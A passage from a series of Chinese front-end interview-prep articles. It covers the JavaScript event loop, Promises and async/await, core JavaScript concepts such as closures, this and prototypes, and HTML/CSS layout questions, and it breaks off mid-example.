Q4: Node.js 的 Event Loop 和浏览器有什么不同？⭐⭐⭐

答：

Node.js 的 Event Loop 分为 6 个阶段：

   ┌───────────────────────────┐
┌─>│           timers          │  setTimeout/setInterval
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │     pending callbacks     │  系统操作回调
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │       idle, prepare       │  内部使用
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │           poll            │  I/O 回调
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │           check           │  setImmediate
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │      close callbacks      │  close 事件
│  └───────────────────────────┘

// Node.js 中的执行顺序
setImmediate(() => console.log('setImmediate'));
setTimeout(() => console.log('setTimeout'), 0);

// 不确定顺序（取决于进入 Event Loop 的时间）

// 在 I/O 回调中，setImmediate 总是先执行
const fs = require('fs');
fs.readFile(__filename, () => {
  setTimeout(() => console.log('setTimeout'), 0);
  setImmediate(() => console.log('setImmediate'));
});
// 输出：setImmediate -> setTimeout

Promise

Q5: Promise 有哪几种状态？⭐ 🔥

答：

状态	说明
`pending`	进行中，初始状态
`fulfilled`	已成功
`rejected`	已失败

// 状态一旦改变就不可逆
const p = new Promise((resolve, reject) => {
  resolve('success');  // pending -> fulfilled
  reject('error');     // 无效，状态已确定
});

p.then(v => console.log(v)); // 'success'

Q6: Promise 的常用方法？⭐⭐ 🔥

答：

// 1. then/catch/finally
promise
  .then(value => { /* 成功 */ })
  .catch(error => { /* 失败 */ })
  .finally(() => { /* 总是执行 */ });

// 2. 静态方法
Promise.resolve(value);      // 返回成功的 Promise
Promise.reject(error);       // 返回失败的 Promise

// 3. 并发处理
Promise.all([p1, p2, p3])
  .then(results => {})       // 全部成功才成功
  .catch(err => {});         // 任一失败就失败

Promise.allSettled([p1, p2]) // ES2020
  .then(results => {
    // [{status: 'fulfilled', value}, {status: 'rejected', reason}]
  });

Promise.race([p1, p2])       // 第一个完成的结果
  .then(result => {});

Promise.any([p1, p2])        // ES2021，第一个成功的结果
  .then(value => {});

Q7: 如何实现 Promise.all？⭐⭐⭐

function promiseAll(promises) {
  return new Promise((resolve, reject) => {
    const results = [];
    let count = 0;
    const len = promises.length;
    
    if (len === 0) {
      resolve([]);
      return;
    }
    
    promises.forEach((promise, index) => {
      Promise.resolve(promise).then(value => {
        results[index] = value;
        count++;
        if (count === len) {
          resolve(results);
        }
      }).catch(reject);
    });
  });
}

// 测试
promiseAll([
  Promise.resolve(1),
  Promise.resolve(2),
  3 // 非 Promise 也可以
]).then(console.log); // [1, 2, 3]

Q8: Promise 链式调用的原理？⭐⭐

// then 返回新的 Promise
promise
  .then(value => {
    return value * 2;        // 返回普通值，下一个 then 收到 2
  })
  .then(value => {
    return Promise.resolve(value * 2); // 返回 Promise
  })
  .then(value => {
    console.log(value);      // 4
    throw new Error('error'); // 抛出错误
  })
  .catch(err => {
    console.log('caught:', err.message);
    return 'recovered';      // 恢复，下一个 then 收到
  })
  .then(value => {
    console.log(value);      // 'recovered'
  });

async/await

Q9: async/await 的原理？⭐⭐ 🔥

答：

async/await 是 Generator + Promise 的语法糖。

// async 函数总是返回 Promise
async function fn() {
  return 1;
}
fn().then(v => console.log(v)); // 1

// await 暂停执行，等待 Promise 完成
async function fetchData() {
  const res = await fetch(url); // 暂停，等待 Promise
  const data = await res.json();
  return data;
}

// 等价于
function fetchData() {
  return fetch(url)
    .then(res => res.json())
    .then(data => data);
}

Q10: async/await 错误处理？⭐⭐

// 方式1：try/catch
async function fn() {
  try {
    const result = await somePromise();
    return result;
  } catch (error) {
    console.error('Error:', error);
    // 可以选择重新抛出或返回默认值
    throw error;
  } finally {
    // 清理工作
  }
}

// 方式2：.catch()
async function fn() {
  const result = await somePromise().catch(err => {
    console.error(err);
    return null; // 返回默认值
  });
  
  if (!result) return; // 处理错误情况
}

// 方式3：统一处理
const [err, data] = await to(somePromise());
function to(promise) {
  return promise
    .then(data => [null, data])
    .catch(err => [err, null]);
}

Q11: 串行 vs 并行执行 ⭐⭐ 🔥

// ❌ 串行执行（慢）
async function serial() {
  const a = await fetchA(); // 等待 A 完成
  const b = await fetchB(); // 再等待 B
  return [a, b];
}
// 总时间 = A时间 + B时间

// ✅ 并行执行（快）
async function parallel() {
  const [a, b] = await Promise.all([
    fetchA(),
    fetchB()
  ]);
  return [a, b];
}
// 总时间 = max(A时间, B时间)

// ✅ 并行 + 错误隔离
async function parallelSafe() {
  const [a, b] = await Promise.allSettled([
    fetchA(),
    fetchB()
  ]);
  
  const resultA = a.status === 'fulfilled' ? a.value : null;
  const resultB = b.status === 'fulfilled' ? b.value : null;
  
  return [resultA, resultB];
}

Generator

Q12: 什么是 Generator？⭐⭐

答：

Generator 是可以暂停和恢复执行的函数。

// 定义
function* generator() {
  console.log('start');
  yield 1;
  console.log('resume 1');
  yield 2;
  console.log('resume 2');
  return 3;
}

// 使用
const gen = generator();
gen.next(); // { value: 1, done: false }
gen.next(); // { value: 2, done: false }
gen.next(); // { value: 3, done: true }

// 应用场景：惰性求值
function* idMaker() {
  let index = 0;
  while (true) {
    yield index++;
  }
}
const ids = idMaker();
ids.next().value; // 0
ids.next().value; // 1
// 无限序列，按需生成

// 应用场景：异步流程控制（async/await 之前）
function run(gen) {
  const it = gen();
  
  function step(result) {
    if (result.done) return Promise.resolve(result.value);
    
    return Promise.resolve(result.value)
      .then(value => step(it.next(value)))
      .catch(err => step(it.throw(err)));
  }
  
  return step(it.next());
}

实战题

Q13: 实现 sleep 函数 ⭐

// Promise 版本
function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

// 使用
async function fn() {
  console.log('start');
  await sleep(1000);
  console.log('after 1s');
}

Q14: 实现并发控制器 ⭐⭐⭐ 🔥

// 限制同时执行的异步任务数量
function concurrentLimit(tasks, limit) {
  return new Promise((resolve, reject) => {
    const results = [];
    const running = new Set();
    let index = 0;
    
    function run() {
      while (index < tasks.length && running.size < limit) {
        const i = index++;
        const task = tasks[i];
        
        const promise = Promise.resolve(task())
          .then(result => {
            running.delete(promise);
            results[i] = { status: 'fulfilled', value: result };
            run(); // 继续执行下一个
          })
          .catch(error => {
            running.delete(promise);
            results[i] = { status: 'rejected', reason: error };
            run();
          });
        
        running.add(promise);
      }
      
      if (running.size === 0 && index >= tasks.length) {
        resolve(results);
      }
    }
    
    run();
  });
}

// 使用
const tasks = [
  () => fetch('/api/1'),
  () => fetch('/api/2'),
  () => fetch('/api/3'),
  () => fetch('/api/4'),
  () => fetch('/api/5'),
];

concurrentLimit(tasks, 2).then(results => {
  console.log(results);
});

Q15: 实现防抖和节流 ⭐⭐ 🔥

// 防抖：事件停止触发 n 秒后执行
function debounce(fn, delay) {
  let timer = null;
  
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => {
      fn.apply(this, args);
    }, delay);
  };
}

// 节流：每 n 秒最多执行一次
function throttle(fn, interval) {
  let lastTime = 0;
  
  return function(...args) {
    const now = Date.now();
    
    if (now - lastTime >= interval) {
      lastTime = now;
      fn.apply(this, args);
    }
  };
}

// 节流（定时器版）
function throttleTimer(fn, interval) {
  let timer = null;
  
  return function(...args) {
    if (timer) return;
    
    timer = setTimeout(() => {
      fn.apply(this, args);
      timer = null;
    }, interval);
  };
}

复习卡片

// Event Loop 执行顺序
// 同步代码 -> 微任务（全部）-> 宏任务（一个）-> 微任务 -> ...

// 微任务
Promise.then/catch/finally
MutationObserver
queueMicrotask()

// 宏任务
setTimeout / setInterval
setImmediate (Node)
I/O / UI 渲染

// async/await 本质
// async 函数返回 Promise
// await 暂停执行，让出主线程

// 并行 vs 串行
// 串行：await a; await b;
// 并行：await Promise.all([a, b]);

概念	关键点
Event Loop	协调单线程与异步的机制
微任务	Promise.then，优先级高
宏任务	setTimeout，优先级低
async/await	Generator + Promise 语法糖
Promise.all	全部成功才成功
Promise.race	第一个完成的结果

[!TIP] 下一篇：Vue 框架面试题

涵盖 Vue 响应式原理、虚拟 DOM、Diff 算法、生命周期、组件通信等核心知识点。

JavaScript 核心面试题（中高级）

Tue, 15 Sep 2026 04:00:00 GMT

[!NOTE] 本文包含 30+ 道 JavaScript 核心面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

数据类型

Q1: JavaScript 有哪些数据类型？⭐ 🔥

答：

类型	分类	示例
`number`	基本类型	`1`, `3.14`, `NaN`, `Infinity`
`string`	基本类型	`'hello'`, `"world"`
`boolean`	基本类型	`true`, `false`
`undefined`	基本类型	`undefined`
`null`	基本类型	`null`
`symbol`	基本类型 (ES6)	`Symbol('id')`
`bigint`	基本类型 (ES2020)	`123n`
`object`	引用类型	`{}`, `[]`, `function`, `Date`

// 类型检测
typeof 123           // 'number'
typeof 'str'         // 'string'
typeof true          // 'boolean'
typeof undefined     // 'undefined'
typeof null          // 'object' (历史 bug)
typeof Symbol()      // 'symbol'
typeof []            // 'object'
typeof function(){}  // 'function'

// 准确检测
Object.prototype.toString.call(null)      // '[object Null]'
Object.prototype.toString.call([])        // '[object Array]'
Object.prototype.toString.call(new Date()) // '[object Date]'

Array.isArray([])        // true
instanceof               // 检测原型链

Q2: null 和 undefined 的区别？⭐

答：

特性	`null`	`undefined`
含义	空值，表示"没有对象"	未定义，表示"缺少值"
typeof	`'object'`	`'undefined'`
转换数字	`0`	`NaN`
使用场景	主动赋值	变量声明未赋值、函数无返回值

null == undefined    // true（宽松相等）
null === undefined   // false（严格相等）

Number(null)         // 0
Number(undefined)    // NaN

// 实际使用
let obj = null;       // 明确表示空对象
let value;            // undefined，未赋值

function fn() {}
fn();                 // undefined，无返回值

Q3: 深拷贝和浅拷贝的区别？如何实现深拷贝？⭐⭐ 🔥

答：

// 浅拷贝：只复制第一层，引用类型仍共享
const obj = { a: 1, b: { c: 2 } };
const shallow = { ...obj };
// 或 Object.assign({}, obj)

shallow.b.c = 999;
console.log(obj.b.c); // 999，原对象也被修改

// 深拷贝：递归复制所有层级
const deep = JSON.parse(JSON.stringify(obj));
deep.b.c = 888;
console.log(obj.b.c); // 2，原对象不受影响

深拷贝实现：

// 方法1：JSON（简单场景，有缺陷）
const copy1 = JSON.parse(JSON.stringify(obj));
// 缺陷：undefined/function/Symbol 会丢失，循环引用报错

// 方法2：递归实现
function deepClone(obj, map = new WeakMap()) {
  if (obj === null || typeof obj !== 'object') return obj;
  if (obj instanceof Date) return new Date(obj);
  if (obj instanceof RegExp) return new RegExp(obj);
  
  // 处理循环引用
  if (map.has(obj)) return map.get(obj);
  
  const clone = Array.isArray(obj) ? [] : {};
  map.set(obj, clone);
  
  for (let key in obj) {
    if (obj.hasOwnProperty(key)) {
      clone[key] = deepClone(obj[key], map);
    }
  }
  return clone;
}

// 方法3：structuredClone（现代浏览器）
const copy3 = structuredClone(obj);

作用域与闭包

Q4: 什么是作用域？作用域链是什么？⭐⭐

答：

作用域是变量和函数的可访问范围，分为：

全局作用域：在整个程序中可访问
函数作用域：在函数内部可访问
块级作用域（ES6）：let/const 在 {} 内

// 作用域链：查找变量时逐级向上
var a = 'global';

function outer() {
  var b = 'outer';
  
  function inner() {
    var c = 'inner';
    console.log(a); // 'global'，沿作用域链找到全局
    console.log(b); // 'outer'
    console.log(c); // 'inner'
  }
  
  inner();
}

// 块级作用域
if (true) {
  let x = 1;
  var y = 2;
}
console.log(x); // ReferenceError
console.log(y); // 2（var 没有块级作用域）

Q5: 什么是闭包？应用场景？⭐⭐ 🔥

答：

闭包是指函数能够访问其词法作用域中的变量，即使该函数在其词法作用域之外执行。

// 闭包示例
function counter() {
  let count = 0; // 被闭包引用，不会被垃圾回收
  
  return {
    increment: () => ++count,
    decrement: () => --count,
    getCount: () => count
  };
}

const c = counter();
c.increment(); // 1
c.increment(); // 2
c.getCount();  // 2

应用场景：

// 1. 数据私有化
function createWallet(initial) {
  let balance = initial;
  
  return {
    deposit(amount) { balance += amount; },
    withdraw(amount) { balance -= amount; },
    getBalance() { return balance; }
  };
}

// 2. 函数柯里化
function multiply(a) {
  return function(b) {
    return a * b;
  };
}
const double = multiply(2);
double(5); // 10

// 3. 防抖节流
function debounce(fn, delay) {
  let timer = null; // 闭包保存定时器
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 4. 模块化（IIFE）
const module = (function() {
  let privateVar = 'private';
  
  return {
    getPrivate: () => privateVar
  };
})();

闭包的问题：

内存泄漏：闭包引用的变量不会被回收
解决：及时释放不需要的引用 fn = null

Q6: var、let、const 的区别？⭐ 🔥

答：

特性	`var`	`let`	`const`
作用域	函数作用域	块级作用域	块级作用域
变量提升	有（值为 undefined）	有（暂时性死区）	有（暂时性死区）
重复声明	允许	不允许	不允许
重新赋值	允许	允许	不允许
全局声明	挂载到 window	不挂载	不挂载

// 变量提升
console.log(a); // undefined（var 提升）
var a = 1;

console.log(b); // ReferenceError（暂时性死区）
let b = 2;

// 经典面试题
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100);
}
// 输出：3 3 3

for (let j = 0; j < 3; j++) {
  setTimeout(() => console.log(j), 100);
}
// 输出：0 1 2（每次循环创建新的 j）

// const 注意
const obj = { a: 1 };
obj.a = 2;        // ✅ 允许，修改属性
obj = { b: 1 };   // ❌ 报错，不能重新赋值

this 指向

Q7: this 的指向规则？⭐⭐ 🔥

答：

调用方式	this 指向
`obj.fn()`	`obj`
`fn()`	`undefined`（严格模式）/ `window`
`new Fn()`	新创建的实例
`fn.call(obj)`	`obj`
`fn.apply(obj)`	`obj`
`fn.bind(obj)`	`obj`
箭头函数	继承外层 this

// 1. 对象方法调用
const obj = {
  name: 'obj',
  fn() { console.log(this.name); }
};
obj.fn(); // 'obj'

// 2. 普通函数调用
function fn() { console.log(this); }
fn(); // window（非严格模式）

// 3. 构造函数
function Person(name) {
  this.name = name;
}
const p = new Person('Tom');
console.log(p.name); // 'Tom'

// 4. call/apply/bind
const ctx = { name: 'ctx' };
fn.call(ctx);    // this = ctx
fn.apply(ctx);   // this = ctx
const bound = fn.bind(ctx);
bound();         // this = ctx

// 5. 箭头函数
const arrow = {
  name: 'arrow',
  fn: () => console.log(this.name), // 外层 this（window）
  fn2() {
    return () => console.log(this.name); // 外层 this（arrow）
  }
};
arrow.fn();      // undefined
arrow.fn2()();   // 'arrow'

// 经典面试题
const person = {
  name: 'person',
  sayName: function() {
    console.log(this.name);
  }
};

const fn1 = person.sayName;
fn1(); // undefined（this 丢失）

const fn2 = person.sayName.bind(person);
fn2(); // 'person'

原型与继承

Q8: 什么是原型链？⭐⭐ 🔥

答：

每个对象都有一个 __proto__ 属性指向其构造函数的 prototype，形成链式结构。

// 原型链图示
// 实例 --> 构造函数.prototype --> Object.prototype --> null

function Person(name) {
  this.name = name;
}
Person.prototype.sayHi = function() {
  console.log('Hi, ' + this.name);
};

const p = new Person('Tom');

p.__proto__ === Person.prototype;           // true
Person.prototype.__proto__ === Object.prototype; // true
Object.prototype.__proto__ === null;        // true

// 属性查找顺序
p.name;       // 自身属性
p.sayHi();    // 原型上的方法
p.toString(); // Object.prototype 上的方法

关键概念：

// prototype：构造函数的原型对象
Person.prototype; // { sayHi: f, constructor: Person }

// __proto__：实例的原型引用（非标准但广泛支持）
p.__proto__; // 同 Person.prototype

// constructor：原型对象指向构造函数的引用
Person.prototype.constructor === Person; // true

// Object.getPrototypeOf（标准方法）
Object.getPrototypeOf(p) === Person.prototype; // true

Q9: JavaScript 继承的几种方式？⭐⭐⭐

答：

// 1. 原型链继承（缺陷：引用类型共享）
function Parent() {
  this.hobbies = ['reading'];
}
function Child() {}
Child.prototype = new Parent();

// 2. 构造函数继承（缺陷：无法继承原型方法）
function Parent(name) {
  this.name = name;
}
function Child(name) {
  Parent.call(this, name);
}

// 3. 组合继承（常用）
function Parent(name) {
  this.name = name;
}
Parent.prototype.sayName = function() {
  console.log(this.name);
};
function Child(name, age) {
  Parent.call(this, name); // 继承实例属性
  this.age = age;
}
Child.prototype = new Parent(); // 继承原型方法
Child.prototype.constructor = Child;

// 4. 寄生组合继承（最佳方案）
function inheritPrototype(Child, Parent) {
  const prototype = Object.create(Parent.prototype);
  prototype.constructor = Child;
  Child.prototype = prototype;
}
function Child(name, age) {
  Parent.call(this, name);
  this.age = age;
}
inheritPrototype(Child, Parent);

// 5. ES6 Class（推荐）
class Parent {
  constructor(name) {
    this.name = name;
  }
  sayName() {
    console.log(this.name);
  }
}
class Child extends Parent {
  constructor(name, age) {
    super(name); // 必须先调用 super
    this.age = age;
  }
}

Q10: instanceof 的原理？如何实现？⭐⭐

答：

// instanceof 检测构造函数的 prototype 是否出现在对象的原型链上
[] instanceof Array;    // true
[] instanceof Object;   // true（原型链上）

// 手动实现
function myInstanceof(obj, Constructor) {
  let proto = Object.getPrototypeOf(obj);
  const prototype = Constructor.prototype;
  
  while (proto !== null) {
    if (proto === prototype) return true;
    proto = Object.getPrototypeOf(proto);
  }
  return false;
}

myInstanceof([], Array);  // true
myInstanceof([], Object); // true
myInstanceof({}, Array);  // false

ES6+ 新特性

Q11: ES6 有哪些新特性？⭐ 🔥

答：

// 1. let/const 块级作用域
let x = 1;
const y = 2;

// 2. 解构赋值
const { name, age } = person;
const [first, ...rest] = array;

// 3. 模板字符串
const str = `Hello, ${name}!`;

// 4. 箭头函数
const fn = (a, b) => a + b;

// 5. 默认参数
function greet(name = 'World') {}

// 6. 展开运算符
const arr = [...arr1, ...arr2];
const obj = { ...obj1, ...obj2 };

// 7. Promise
Promise.resolve(1).then(v => console.log(v));

// 8. async/await
async function fetchData() {
  const res = await fetch(url);
  return res.json();
}

// 9. Class
class Person {
  constructor(name) { this.name = name; }
  sayHi() { console.log(`Hi, ${this.name}`); }
}

// 10. Module
import { foo } from './module';
export const bar = 1;

// 11. Symbol
const id = Symbol('id');

// 12. Map/Set
const map = new Map([['key', 'value']]);
const set = new Set([1, 2, 3]);

// 13. Proxy/Reflect
const proxy = new Proxy(target, {
  get(target, prop) { return Reflect.get(target, prop); }
});

// 14. 可选链 (ES2020)
const city = user?.address?.city;

// 15. 空值合并 (ES2020)
const value = input ?? 'default';

Q12: Map 和 Object 的区别？⭐⭐

答：

特性	`Map`	`Object`
键类型	任意值	字符串/Symbol
键顺序	插入顺序	不保证
大小	`size` 属性	需手动计算
迭代	可迭代	需 `Object.keys()`
性能	频繁增删更优	少量数据更优

// Map 操作
const map = new Map();
map.set('key', 'value');
map.set(1, 'number key');
map.set({}, 'object key'); // 对象作为键

map.get('key');      // 'value'
map.has('key');      // true
map.delete('key');   // true
map.size;            // 2

// 遍历
map.forEach((v, k) => console.log(k, v));
for (const [k, v] of map) { }

// 转换
const arr = [...map];           // Map -> Array
const obj = Object.fromEntries(map); // Map -> Object
const map2 = new Map(Object.entries(obj)); // Object -> Map

Q13: Proxy 和 Object.defineProperty 的区别？⭐⭐⭐ 🔥

答：

特性	`Object.defineProperty`	`Proxy`
监听粒度	单个属性	整个对象
数组支持	需重写方法	原生支持
新增属性	无法监听	可以监听
删除属性	无法监听	可以监听
性能	初始化递归	惰性代理

// Object.defineProperty（Vue 2）
function defineReactive(obj, key, val) {
  Object.defineProperty(obj, key, {
    get() { return val; },
    set(newVal) { val = newVal; }
  });
}
// 缺陷：无法监听 obj.newKey = value

// Proxy（Vue 3）
const proxy = new Proxy(target, {
  get(target, key, receiver) {
    track(target, key); // 依赖收集
    return Reflect.get(target, key, receiver);
  },
  set(target, key, value, receiver) {
    trigger(target, key); // 触发更新
    return Reflect.set(target, key, value, receiver);
  },
  deleteProperty(target, key) {
    trigger(target, key);
    return Reflect.deleteProperty(target, key);
  }
});
// 优势：可以监听所有操作

复习卡片

知识点	关键记忆
数据类型	7 种基本 + 1 种引用
闭包	函数 + 词法作用域，用于数据私有化
this	调用时决定，箭头函数继承外层
原型链	`__proto__` 链式查找，终于 `null`
继承	ES6 `class extends` 最简洁
var/let/const	块级作用域 + 暂时性死区
Map vs Object	Map 键可为任意类型，性能更好
Proxy	可监听整个对象，Vue3 响应式基础

[!TIP] 下一篇：JS 异步与事件循环

涵盖 Event Loop、宏任务微任务、Promise、async/await 等核心知识点。

HTML & CSS 高频面试题（中高级）

Tue, 15 Sep 2026 03:00:00 GMT

[!NOTE] 本文包含 30+ 道 HTML/CSS 高频面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

HTML 部分

Q1: HTML5 有哪些新特性？⭐ 🔥

答：

分类	新特性
语义化标签	`<header>` `<footer>` `<nav>` `<article>` `<section>` `<aside>`
多媒体	`<audio>` `<video>` `<canvas>`
表单增强	`date` `email` `url` `range` `placeholder` `required`
存储	`localStorage` `sessionStorage` `IndexedDB`
地理定位	`Geolocation API`
Web Worker	后台线程处理
WebSocket	全双工通信
拖拽 API	`draggable` `dragstart` `dragover` `drop`

Q2: 什么是语义化 HTML？为什么要使用？⭐⭐

答：

语义化 HTML 是指使用有明确含义的标签来描述内容，而不是滥用 <div> 和 <span>。

好处：

SEO 友好：搜索引擎能更好理解页面结构
可访问性：屏幕阅读器能正确朗读内容
代码可读性：团队协作时更容易理解
设备兼容：移动设备、阅读器能更好解析

<!-- ❌ 不语义化 -->
<div class="header">网站标题</div>
<div class="nav">导航</div>
<div class="content">内容</div>

<!-- ✅ 语义化 -->
<header>网站标题</header>
<nav>导航</nav>
<main>
  <article>
    <h1>文章标题</h1>
    <section>章节一</section>
    <section>章节二</section>
  </article>
  <aside>侧边栏</aside>
</main>
<footer>页脚</footer>

Q3: `<script>` `<script async>` `<script defer>` 的区别？⭐⭐ 🔥

答：

方式	加载时机	执行时机	阻塞
`<script>`	立即加载	立即执行	阻塞 HTML 解析
`<script async>`	异步加载	加载完立即执行	执行时阻塞
`<script defer>`	异步加载	HTML 解析完执行	不阻塞

<!-- 阻塞式 -->
<script src="a.js"></script>

<!-- 异步：下载不阻塞，执行时阻塞，顺序不保证 -->
<script async src="b.js"></script>

<!-- 延迟：下载不阻塞，DOM 解析完执行，按顺序 -->
<script defer src="c.js"></script>

使用建议：

第三方统计脚本用 async
依赖 DOM 的业务脚本用 defer
内联脚本放在 </body> 前

Q4: 什么是 DOM 和 BOM？⭐

答：

概念	全称	作用
DOM	Document Object Model	文档对象模型，操作 HTML/XML
BOM	Browser Object Model	浏览器对象模型，操作浏览器

// DOM 操作
document.getElementById('app')
document.querySelector('.class')
element.innerHTML = 'xxx'

// BOM 操作
window.location.href
window.history.back()
navigator.userAgent
screen.width

CSS 盒模型

Q5: CSS 盒模型有哪些？区别是什么？⭐ 🔥

答：

盒模型	box-sizing	宽度计算
标准盒模型	`content-box`	width = content
IE 盒模型	`border-box`	width = content + padding + border

/* 标准盒模型（默认） */
.box1 {
  box-sizing: content-box;
  width: 200px;
  padding: 20px;
  border: 5px solid;
  /* 实际宽度 = 200 + 20*2 + 5*2 = 250px */
}

/* IE 盒模型 */
.box2 {
  box-sizing: border-box;
  width: 200px;
  padding: 20px;
  border: 5px solid;
  /* 实际宽度 = 200px，content = 200 - 40 - 10 = 150px */
}

/* 推荐全局设置 */
*, *::before, *::after {
  box-sizing: border-box;
}

Q6: margin 塌陷和 margin 合并是什么？⭐⭐

答：

margin 塌陷：父子元素垂直 margin 传递问题

/* 问题：子元素 margin-top 传递给父元素 */
.parent { background: #eee; }
.child { margin-top: 50px; background: #ccc; }

/* 解决方案 */
.parent { overflow: hidden; }        /* 触发 BFC */
.parent { border-top: 1px solid; }   /* 加边框 */
.parent { padding-top: 1px; }        /* 加内边距 */

margin 合并：相邻元素垂直 margin 取最大值

/* 情况1：兄弟元素 */
.box1 { margin-bottom: 30px; }
.box2 { margin-top: 20px; }
/* 实际间距 = 30px，不是 50px */

/* 情况2：空块级元素自身 */
.empty {
  margin-top: 20px;
  margin-bottom: 30px;
  /* 实际高度 margin = 30px */
}

BFC (块级格式化上下文)

Q7: 什么是 BFC？如何触发？有什么作用？⭐⭐ 🔥

答：

BFC (Block Formatting Context) 是一个独立渲染区域，内部元素布局不影响外部。

触发条件：

float 不为 none
position 为 absolute 或 fixed
display 为 inline-block flex grid
overflow 不为 visible
根元素 <html>

应用场景：

/* 1. 清除浮动（高度塌陷） */
.parent { overflow: hidden; } /* 触发 BFC */

/* 2. 避免 margin 合并 */
.box1 { margin-bottom: 20px; }
.divider { overflow: hidden; } /* BFC 隔离 */
.box2 { margin-top: 10px; }

/* 3. 两栏布局（左浮动右自适应） */
.left { float: left; width: 200px; }
.right { overflow: hidden; } /* BFC 不与浮动重叠 */

选择器与优先级

Q8: CSS 选择器优先级如何计算？⭐ 🔥

答：

优先级	选择器	权重
1	`!important`	∞
2	内联样式 `style=""`	1000
3	ID 选择器 `#id`	100
4	类/伪类/属性 `.class` `:hover` `[attr]`	10
5	标签/伪元素 `div` `::before`	1
6	通配符 `*`	0

/* 计算示例 */
#nav .item a:hover        /* 100 + 10 + 1 + 10 = 121 */
.nav .item a.active       /* 10 + 10 + 1 + 10 = 31 */
div#main p.intro span     /* 1 + 100 + 1 + 10 + 1 = 113 */

/* !important 最高但慎用 */
.text { color: red !important; }

Q9: CSS 有哪些选择器？⭐

答：

/* 基础选择器 */
* {}              /* 通配符 */
div {}            /* 标签 */
.class {}         /* 类 */
#id {}            /* ID */

/* 组合选择器 */
div p {}          /* 后代 */
div > p {}        /* 子代 */
div + p {}        /* 相邻兄弟 */
div ~ p {}        /* 通用兄弟 */

/* 属性选择器 */
[type="text"] {}  /* 精确匹配 */
[href^="http"] {} /* 开头匹配 */
[src$=".png"] {}  /* 结尾匹配 */
[class*="btn"] {} /* 包含匹配 */

/* 伪类 */
a:hover {}
li:first-child {}
li:nth-child(2n) {}
input:focus {}
:not(.active) {}

/* 伪元素 */
p::before {}
p::after {}
p::first-line {}
p::selection {}

布局相关

Q10: Flex 布局常用属性？⭐ 🔥

答：

容器属性：

.container {
  display: flex;
  
  /* 主轴方向 */
  flex-direction: row | row-reverse | column | column-reverse;
  
  /* 换行 */
  flex-wrap: nowrap | wrap | wrap-reverse;
  
  /* 主轴对齐 */
  justify-content: flex-start | center | flex-end | 
                   space-between | space-around | space-evenly;
  
  /* 交叉轴对齐 */
  align-items: stretch | flex-start | center | flex-end | baseline;
  
  /* 多行对齐 */
  align-content: stretch | flex-start | center | ...;
}

项目属性：

.item {
  /* 放大比例，默认 0 */
  flex-grow: 1;
  
  /* 缩小比例，默认 1 */
  flex-shrink: 0;
  
  /* 基准大小 */
  flex-basis: 200px;
  
  /* 简写 */
  flex: 1;           /* flex: 1 1 0% */
  flex: auto;        /* flex: 1 1 auto */
  flex: none;        /* flex: 0 0 auto */
  
  /* 单独对齐 */
  align-self: center;
  
  /* 排序 */
  order: -1;
}

经典布局：

/* 水平垂直居中 */
.center {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* 两栏布局 */
.layout {
  display: flex;
}
.sidebar { flex: 0 0 200px; }
.main { flex: 1; }

/* 三栏布局（圣杯） */
.layout { display: flex; }
.left { flex: 0 0 200px; }
.center { flex: 1; }
.right { flex: 0 0 150px; }

Q11: Grid 布局怎么用？⭐⭐

答：

.container {
  display: grid;
  
  /* 定义列 */
  grid-template-columns: 200px 1fr 1fr;
  grid-template-columns: repeat(3, 1fr);
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  
  /* 定义行 */
  grid-template-rows: 100px auto;
  
  /* 间距 */
  gap: 20px;           /* 行列间距 */
  row-gap: 10px;
  column-gap: 20px;
  
  /* 区域划分 */
  grid-template-areas: 
    "header header header"
    "sidebar main main"
    "footer footer footer";
}

.item {
  /* 跨列 */
  grid-column: 1 / 3;      /* 从第1条线到第3条线 */
  grid-column: span 2;     /* 跨2列 */
  
  /* 跨行 */
  grid-row: 1 / 3;
  
  /* 区域 */
  grid-area: header;
}

Grid vs Flex：

特性	Flex	Grid
维度	一维	二维
适用	行或列布局	复杂网格布局
对齐	内容驱动	容器驱动

Q12: 实现水平垂直居中的方式？⭐ 🔥

答：

/* 1. Flex（推荐） */
.parent {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* 2. Grid */
.parent {
  display: grid;
  place-items: center;
}

/* 3. 定位 + transform */
.parent { position: relative; }
.child {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}

/* 4. 定位 + margin auto */
.parent { position: relative; }
.child {
  position: absolute;
  top: 0; right: 0; bottom: 0; left: 0;
  margin: auto;
  width: 200px;
  height: 100px;
}

/* 5. 行内元素 */
.parent {
  text-align: center;
  line-height: 100px; /* 等于容器高度 */
}

/* 6. table-cell */
.parent {
  display: table-cell;
  vertical-align: middle;
  text-align: center;
}

响应式设计

Q13: 如何实现响应式设计？⭐⭐ 🔥

答：

1. 媒体查询

/* 移动优先 */
.container { width: 100%; }

@media (min-width: 768px) {
  .container { width: 750px; }
}

@media (min-width: 992px) {
  .container { width: 970px; }
}

@media (min-width: 1200px) {
  .container { width: 1170px; }
}

/* 常用断点 */
/* xs: <576px  sm: ≥576px  md: ≥768px  lg: ≥992px  xl: ≥1200px */

2. 弹性布局

/* 百分比 */
.col { width: 50%; }

/* flex */
.row { display: flex; flex-wrap: wrap; }
.col { flex: 1; min-width: 200px; }

/* grid 自动适应 */
.grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
}

3. 视口单位

/* vw/vh */
.hero { height: 100vh; }
.title { font-size: 5vw; }

/* clamp() 响应式字体 */
h1 { font-size: clamp(1.5rem, 4vw, 3rem); }

4. 响应式图片

<!-- srcset -->
<img 
  srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
  sizes="(max-width: 600px) 480px, 800px"
